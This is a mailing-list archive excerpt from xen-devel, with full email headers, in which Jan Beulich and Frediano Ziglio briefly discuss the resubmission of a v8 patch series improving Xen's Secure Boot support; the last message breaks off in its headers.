Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a57279c-e002-0a2a0a5209dd-0a2a4505defa-30
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:24:31 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a57279f-4cb1-0a2a45050019-d155dd33e8a0-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:24:31 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-4629051c9d1so1061843f8f.2
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 23:24:31 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f464b7f84sm13342334f8f.27.2026.07.14.23.24.30
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 14 Jul 2026 23:24:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784096671; x=1784701471; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=bP7rDMZY9EnWc+MEZ6uDlnQYnD7am0dErmxyCAOtjac=;
        b=SwobyDzWjldApd2RRrqKncoq1OPlZpo/dFOTxbZSJTCLvONmgs1jVRfNRnBFqcJBef
         RZS3N0wTUpfLN3iKHL+15Qe13nTzcj9aqhQ11mQc+niygb9vTop5AezS1xLHFThNeAD/
         RsH/Fqg31KQVhUQb04cIcYgnQhgOPgKhGB31ipGVghAgFa8DmdCi4s3AK8SLpvjweUMz
         nVXv/vIVHl18gDQatC9S32Iq21/qYY7TD0hQPxTSrBKpHan6K6U1AO+dk6uCmvm39zqp
         3zaFW5NYOiitlp+dwb6Z7XwfDThjipcqKMM/Ygz0Z2sW2FyPJp90pb2diNAE39hAWGW8
         NmGg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784096671; x=1784701471;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=bP7rDMZY9EnWc+MEZ6uDlnQYnD7am0dErmxyCAOtjac=;
        b=lJyGPLuf6LsDXt5zhIawfwUnBBKOexCWHqqURUMEiTf0v2gzc3kakuCSAE/T9rpy0/
         QXwTjiTK2qcM7zg0jxCdUzg2570RtLVo05JPxbcT1wIMIfW9Lqc+YgzayM1y5NIXesaY
         LKfJXtf7ZwaQXhpzxceSX44RiedsU/ctX75lsey3J3AqPA2HUhl9jkZxr+thUzbfSbSi
         YCQZgXDyvgZqkybLpUNZsNIWrOG2jXTp0ohrOQIu9xnkx3asVKrkGxL+qq5cJNbQHrIH
         yIVk72paLxQaLH09TK4vDto5XN7nWb1fbmhDYP+OBqSRaF42Eupxf/mQqc2nRKE0jzpg
         JjTw==
X-Forwarded-Encrypted: i=1; AHgh+RrZ6u2CMZ4ojg/P1F36CYpDSQ+KuAtoCwlKupqdPz0r5coe0kLEqNgeNc1x7xVdeQr/pxqbtiwMpS8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzX/vlkSZoC39cffylL/dr0HRayETPsUb0I2WQaObzdq2SgSb47
	Lv0vLiTodeIfhPwixXkpmH8rr93BfzGJAzvAJmpeF4GkS2M2u273moZaTyBT25s17g==
X-Gm-Gg: AfdE7cnq1VAiGl3nPXMyXolS0d7rPXVde/SJu6zmyS6VsSrOTzR9bTx39AShEv87DNh
	emjdrreUty6OAo/cmuhhEE8rY5LPIy2iadjMa9uDr7QeSUhyxIopUilsQbflCEuThCe77+UDGHS
	vlnJEKCV1EYsA4NsJ0aAFD0upAE1G94hFpuW/7ZA5HrO8gXYRwMbs665yUkLX9RLAuVtLlKoreR
	NoA/EcNJTf/1aH1/+hUpsVBCCx1hpb7MALkDjNEhAlGfZfFTZ1HUYfm8ql9v+98/cPAoRHTh28K
	DyrJt/lhg+YfV89oxtgFqzfM1Y5kYmkuy+toCjalVCFPAIFyRjJSI/2V2m4a1CE2F+R4r0ozrkL
	JBFV+3B5yCTljUEkAJEfpAtndYaKMzOUqoZDKpOlFlR7QEbWMBaFO6XmhzxZh5b796x+FZkYD+V
	fd7UZjIDMT6tjzT9yIbwngkXwxt8KrXXXtyn/QKT6cIvxQzzg23jpwItINC7mCF3PVKpyauKmWx
	OdE
X-Received: by 2002:a05:6000:4020:b0:474:d7a5:4b7a with SMTP id ffacd0b85a97d-47f2dcd7881mr18454459f8f.28.1784096671156;
        Tue, 14 Jul 2026 23:24:31 -0700 (PDT)
Message-ID: <9a410426-8ec8-4314-91e5-d76a73275ad6@suse.com>
Date: Wed, 15 Jul 2026 08:24:30 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v8 0/4] Various patches to improve Secure Boot support
To: Frediano Ziglio <freddy77@gmail.com>
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>, xen-devel@lists.xenproject.org
References: <20260715062206.328049-1-frediano.ziglio@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+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lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260715062206.328049-1-frediano.ziglio@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1784096671-F4AA72A1-F50FBF85/0/0
X-purgate-type: clean
X-purgate-size: 1151

On 15.07.2026 08:22, Frediano Ziglio wrote:
> These patches improve support for Secure boot.
> UEFI CA memory mitigation requires memory pages to be not executable and
> writable at the same time. So changing permissions and splitting some section
> is required.
> Remove multiboot pieces from EFI executable.
> 
> Changes since v1:
> - improved some comments;
> - merged 2 pacthes removing multiboot support in x86 PE;
> - removed a patch dealing with SBAT;
> - other minor changes (see single patches).
> 
> Changes since v2:
> - improved some comments.
> 
> Changes since v3:
> - Added Acked-by;
> - Improve commit message.
> 
> Changes since v4:
> - Messages updates;
> - Clean some dependencies cause by code removal;
> - Add small commit to remove a possibly unused string.
> 
> Changes since v5:
> - removed merged commit;
> - remove more code/data from xen.efi output.
> 
> Changes since v6:
> - fix commit message.
> 
> Changes since v7:
> - added Acked-by, all commit are now acked.

Forgive me asking, but why did this warrant another re-submission? We've
got enough traffic on the list already.

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 06:40:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 06:40:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362750.1614502 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjtIS-0006wA-IU; Wed, 15 Jul 2026 06:40:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362750.1614502; Wed, 15 Jul 2026 06:40:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjtIS-0006w3-Fz; Wed, 15 Jul 2026 06:40:44 +0000
Received: by outflank-mailman (input) for mailman id 1362750;
 Wed, 15 Jul 2026 06:40:42 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wjtIQ-0006vc-M5
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 06:40:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjtIQ-00AFBt-2u
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 08:40:42 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a572b60-5cb7-0a2a0a5109dd-0a2a4508c54c-16
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:40:41 +0200
Received: from [209.85.128.177] (helo=mail-yw1-f177.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a572b68-f659-0a2a45080019-d15580b1f026-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:40:41 +0200
Received: by mail-yw1-f177.google.com with SMTP id
 00721157ae682-80bb41f7f3cso18289637b3.2
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 23:40:41 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1784097640; cv=none;
        d=google.com; s=arc-20260327;
        b=dohIWdI3BsSvcSyNY2T/KAcUYJIb3pyiqV9D/TENFZ89LICwTpRVKLMfujAax7vhqI
         hODNwt/IWEtt1iqOO1/aPRBxuzXom8xbEwMvxrDF8u/E5kxK19hMpOgGRCulwxrgIJgU
         GKfLweugbOUiDML/IlM8eVWP4Pl1qKw30hGgNclbF2A+z20PZKX0RVavQdlDrzbkk2xb
         75EUwCC1MO0Sicp+7XhoRV7znz/oxiM+92lRZG4patpaNKK8orPZHmcKN2/m5NU4ZKpl
         q0UMZePdYlc/qD6UoZeC5OQ0QI9PyrN8rYpL/TxAEyoPxJElrub6/OSrdmYg3r+tnvl1
         PQxQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=cc:to:subject:message-id:date:from:in-reply-to:references
         :mime-version:dkim-signature;
        bh=9+Np44NVG1r6KCmuomiTAT4j+LIYv5FDQ+m0vasJAd4=;
        fh=EJLENqEWin3HDbJrEt5hzjfJyi8vgBHaw+wAcYxLVBA=;
        b=qSBI+P+9/wnXgi2V+2zu21KEaf3ms8XrSP4Nidr3UngPlQTHY5sT7AAY8ckng9hXmy
         FooWdCivcd/6+2Bwx33vbufj2frqUZeTHiKUkgfG4MxlYjicu2RdSmdG6QuUfWrLASzF
         yP9jLMfflZHvsb/sWT/0xPwYcEvgE14hNJLnYueYIz2RMddRlMyvZ45GXhf9i3NSGOe5
         da6TfvxW/wHGAw43P1WocJn7Addw10nj2863GGpj4XRyNgrhhYf3Ug+aUSoZu1GGL1kl
         eX4alMdb+jN/H1U9njYtCoavixaKQNhfjbnL+q8kgh+liXKU/3jgMRB7s+ao4VCtWV/G
         n9DA==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784097640; x=1784702440; darn=lists.xenproject.org;
        h=content-type:cc:to:subject:message-id:date:from:in-reply-to
         :references:mime-version:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=9+Np44NVG1r6KCmuomiTAT4j+LIYv5FDQ+m0vasJAd4=;
        b=cieebBkBF/ceighsAJL/vBbPqgxtzcByikJGLZQfaNVXgaaUfbj5OaF8ZGPbiwBNWJ
         3Z6T1s9zenD/pRO9ZfZwqo5QD/LDKxExwJ4I/VSK98gcZZinakzgcVUqU9F2AW1Xc6IG
         1KGRggDQbI+8X0sL/9T7LW/sOcQnw1bNHMQQpEYE8rd5hfScSWbym029gGzcCnIXybdb
         +rDngjOkQFT9cMZeTCD5fALeeYYz3x+qNsq1Cu4CI2GChiYZClQBHzXyJy35bxMLrBZB
         Y6sgkRgDF7DOegj0zzWD9F8JROjGJK/txqQfpVwnry1zffNWvam400hI0+hAxgJxejvS
         jtCA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784097640; x=1784702440;
        h=content-type:cc:to:subject:message-id:date:from:in-reply-to
         :references:mime-version:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=9+Np44NVG1r6KCmuomiTAT4j+LIYv5FDQ+m0vasJAd4=;
        b=nvhzfvlObfUqxwgIdLjxdH7/glItRT1N0EZ5Q5eWLEycn2ylj3VFz80pxS/ohi095F
         4zpmCjFax/upgA/OZHeMoES2aRLIXVuNCccRZi9rt1dhSN2rj63hU3pY5aegUcaFP7bO
         ND2g6LCGPRiuzJmx7hrpdmPrIAgD0IkWE+D5o8zFmozMFHg/evYJOmXbqAxl1LN1Yz/O
         QpzdGBs/0UD5ZMjnnBtijFy3samC2gMRrUiQNwxY5pXZrph+A9bLL8jVARd6F5KgovVd
         h6/G42IjovbI64kg6lWYTMZRzVscWovme4vg3sG+gUZD7umEJ2Qi8qyLpmkrZ0QEu0I+
         4PFg==
X-Forwarded-Encrypted: i=1; AHgh+RqgWjBc7ovS/k9oSROGPCTQfrY2o2FMnm+gCwkP1Ra8b1NfxjQvaWX++bu0uRt29tY9QOi2taJ9LFs=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzICRmTWKWU8m3U1Qs/YKwr8zMNh3KZiDGxvRLXzPKD3GMPzY2Y
	x3JsFSLE7Amp9e6FwVx766Wkd7VAAUIWdWhRXZmQ5UeMWIcLskIkc1gpe86+9Csxh5SEL1Z1wH/
	GnVL4czYvbk62NywH4O4jqAIV9sQdSEw=
X-Gm-Gg: AfdE7cniuNGtrlgL3T/AA1vndKtq4zPeEZTtPBo0qoA+W78NRnQPFNhMdgdqrHr35wa
	KC/2y2OA3L5An2nERNhOV3ZCbVR9hXZlVHDZN4YxhHuyabNfiefWyL5ul2mSbhcLThZ/RgMzGOe
	l7wvfNVHG73CmzLEVBWj+8GokV4FIvBIwusnxW4eWhECb/Ym0BYWYeAMkJyQPjoxxdkHKyLBJkj
	ortg2dFK81ABFrSCydXgtMjVCuqpu4V9mDYG9t42AEVw6oooVkjVi7N11caNmclK/E5q+mQwJxC
	MsEokAF4xtYBvj0QB9X8n3hWEA==
X-Received: by 2002:a05:690c:6981:b0:80e:2917:4b01 with SMTP id
 00721157ae682-81e9003e955mr118850887b3.27.1784097640333; Tue, 14 Jul 2026
 23:40:40 -0700 (PDT)
MIME-Version: 1.0
References: <20260715062206.328049-1-frediano.ziglio@citrix.com> <9a410426-8ec8-4314-91e5-d76a73275ad6@suse.com>
In-Reply-To: <9a410426-8ec8-4314-91e5-d76a73275ad6@suse.com>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Wed, 15 Jul 2026 07:40:29 +0100
X-Gm-Features: AUfX_mxbWb4ZjVAgxaugfClBXhtW3x2HgN-WuWMb0a3Gpi1xZIFaGT8xmGqDUzs
Message-ID: <CAHt6W4cbDh_OFYPxJJy9RiRTCrV3p2OVJ8AL855ixhFKrPm0UA@mail.gmail.com>
Subject: Re: [PATCH v8 0/4] Various patches to improve Secure Boot support
To: Jan Beulich <jbeulich@suse.com>
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>, Andrew Cooper <andrew.cooper3@citrix.com>, 
	=?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>, 
	Teddy Astie <teddy.astie@vates.tech>, Anthony PERARD <anthony.perard@vates.tech>, 
	Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>, 
	Stefano Stabellini <sstabellini@kernel.org>, "Daniel P. Smith" <dpsmith@apertussolutions.com>, 
	=?UTF-8?Q?Marek_Marczykowski=2DG=C3=B3recki?= <marmarek@invisiblethingslab.com>, 
	xen-devel@lists.xenproject.org
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-c1860d/1784097641-D594A87B-12F30A2F/0/0
X-purgate-type: clean
X-purgate-size: 1368

On Wed, 15 Jul 2026 at 07:24, Jan Beulich <jbeulich@suse.com> wrote:
>
> On 15.07.2026 08:22, Frediano Ziglio wrote:
> > These patches improve support for Secure boot.
> > UEFI CA memory mitigation requires memory pages to be not executable and
> > writable at the same time. So changing permissions and splitting some section
> > is required.
> > Remove multiboot pieces from EFI executable.
> >
> > Changes since v1:
> > - improved some comments;
> > - merged 2 pacthes removing multiboot support in x86 PE;
> > - removed a patch dealing with SBAT;
> > - other minor changes (see single patches).
> >
> > Changes since v2:
> > - improved some comments.
> >
> > Changes since v3:
> > - Added Acked-by;
> > - Improve commit message.
> >
> > Changes since v4:
> > - Messages updates;
> > - Clean some dependencies cause by code removal;
> > - Add small commit to remove a possibly unused string.
> >
> > Changes since v5:
> > - removed merged commit;
> > - remove more code/data from xen.efi output.
> >
> > Changes since v6:
> > - fix commit message.
> >
> > Changes since v7:
> > - added Acked-by, all commit are now acked.
>
> Forgive me asking, but why did this warrant another re-submission? We've
> got enough traffic on the list already.
>
> Jan

Because there was an update and because nothing was merged.

Frediano


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 06:58:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 06:58:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362760.1614511 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjtZ5-0000Q3-Oq; Wed, 15 Jul 2026 06:57:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362760.1614511; Wed, 15 Jul 2026 06:57:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjtZ5-0000Pw-Lt; Wed, 15 Jul 2026 06:57:55 +0000
Received: by outflank-mailman (input) for mailman id 1362760;
 Wed, 15 Jul 2026 06:57:54 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wjtZ4-0000Pq-J5
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 06:57:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjtZ3-00AHrE-Ok
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 08:57:53 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a572f6c-e002-0a2a0a5209dd-0a2a4502b0a2-24
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:57:53 +0200
Received: from [209.85.221.53] (helo=mail-wr1-f53.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a572f71-6ca4-0a2a45020019-d155dd35b968-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:57:53 +0200
Received: by mail-wr1-f53.google.com with SMTP id
 ffacd0b85a97d-47f3e6cc44aso2617061f8f.3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 23:57:53 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f464a974csm15847504f8f.18.2026.07.14.23.57.52
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 14 Jul 2026 23:57:52 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784098673; x=1784703473; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=9U5M57V49TtOpbDeNwvbr2OOjeayrLYRBNJUzBHXcp0=;
        b=fjRBX5eBrlQcQzG9w96HYihDoyxSq6dV5qFAcd3QT8uHSqXydE5XFTJn3d8+WFIQRN
         Aso9ifZNdnT2iCwCUNcC4WEcupe1uc8gJlHIO9kVg2vNnOka8lhxzRr9zFcEPPdxFiYF
         u17K33AAE2tY4NElbiIwvi2eRsq1ZhG39Y6hMWtp9rgjNuFh+dca9kK4X0sdOBXqGIXs
         mCo93c78P4+Xf2FMyUZZ5Cs/wtqsAZiKl5uWBEiy+cHubO0IGVoPT1/8Nalw0P6zJU7n
         permoVI99h7AtIBWroGlBA/1d7yz6ybkYcVCLhkxPpamk5hPCnWuoUh9Z5OEoqTVLYpq
         zOlA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784098673; x=1784703473;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=9U5M57V49TtOpbDeNwvbr2OOjeayrLYRBNJUzBHXcp0=;
        b=cd0yfnvtqgatINH8SDNqMnWQGt8QU6QQVbiaJZAEDteXyHN01Qmj5VGuFw3Y5qFdur
         GJYNuZxDAKABx5OPzFjhWcA7cUXgyQe292d+F/x2/QQR9jjiMkKfVNevSshasyJYZLOq
         n9NzcYpZwMf3YohPZFxzpSCxDC70yBHF/sY/T9gNe/sqkSmggPmU35fVViTPCe/s1CXd
         V2WtYedVPVTRM3GN67qs5t42uRI8CfELEJE/ZpGGkEJRQiAAO6OhegudSOMHwt8MPbeF
         6PYhW8TYn48KxYMf5YfsZ20hE5XKC8QTFM8UrUVsYp6shkA+Zd0CCHjBLL1919fhbMxy
         WANg==
X-Forwarded-Encrypted: i=1; AHgh+RqA+eMMfwnV7ab8zyNplToOrkqRXK3Todr2qMMTNJIpm3//6TGQg3v+sT3IsLygQOfEB7GLc72yNeQ=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy2PrD3qTYDyylHQqZKpgXmshomkbXanpTfjHKXjR3I/PDZwgac
	DrOplQnorWf388XlAPPNmTrW6Ip+P+/0Lm22mYcYZnXKKBxqlspIsAlYOxRCRRx/qA==
X-Gm-Gg: AfdE7cm33u89h1SEORO2Za4jqJIN1OOZj7h3ofkNKSdGPmp0aFnKUCmuct+mo/GEeIy
	5flkKBWtsnGxv1/q0CPKQrut/+8/THM/bJQFxd+bXuDJJV1XXvR7PNRW8Ziu+QDAMw6Vvf7Wkv6
	AIJHrRQohJui59FhmCfpCJvCemvqX69Oj76IaYe7PmhPUK1T7tdqhnoCSIhLtcNmtGK5ZbjS95b
	bMkeUN0WbTX/f1M2RX+ufXkimK9W1KIDlgP0ACcnb3RU5MMreNwHIKtFHtBX0H4XmsC9oXmkvBa
	QXB7EcnsbsNiRUt7m/xyL271DhyVa6XFywoyOh4o6KanPde0r1KGyHZEimRKO+e0g0x8yX7TInE
	GuT0BR3Use7JabOsinnSxpKc7mU+5VnF+OAOS233JIO7J+rRDbNpU34/LbyS+0zTZHmhTsLBIeZ
	JmCUPBJwpo+cf9ZsW222W8iw4I+MgLMZ/septEQkQI7RAnhOacW6w58JPqgq9q9sgAKnhYSYHo7
	iHS
X-Received: by 2002:a05:6000:4709:b0:472:ec66:274a with SMTP id ffacd0b85a97d-47f48848729mr6371446f8f.7.1784098673167;
        Tue, 14 Jul 2026 23:57:53 -0700 (PDT)
Message-ID: <a633148a-63ad-45f6-8851-6a938282b810@suse.com>
Date: Wed, 15 Jul 2026 08:57:52 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v8 0/4] Various patches to improve Secure Boot support
To: Frediano Ziglio <freddy77@gmail.com>
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>, xen-devel@lists.xenproject.org
References: <20260715062206.328049-1-frediano.ziglio@citrix.com>
 <9a410426-8ec8-4314-91e5-d76a73275ad6@suse.com>
 <CAHt6W4cbDh_OFYPxJJy9RiRTCrV3p2OVJ8AL855ixhFKrPm0UA@mail.gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
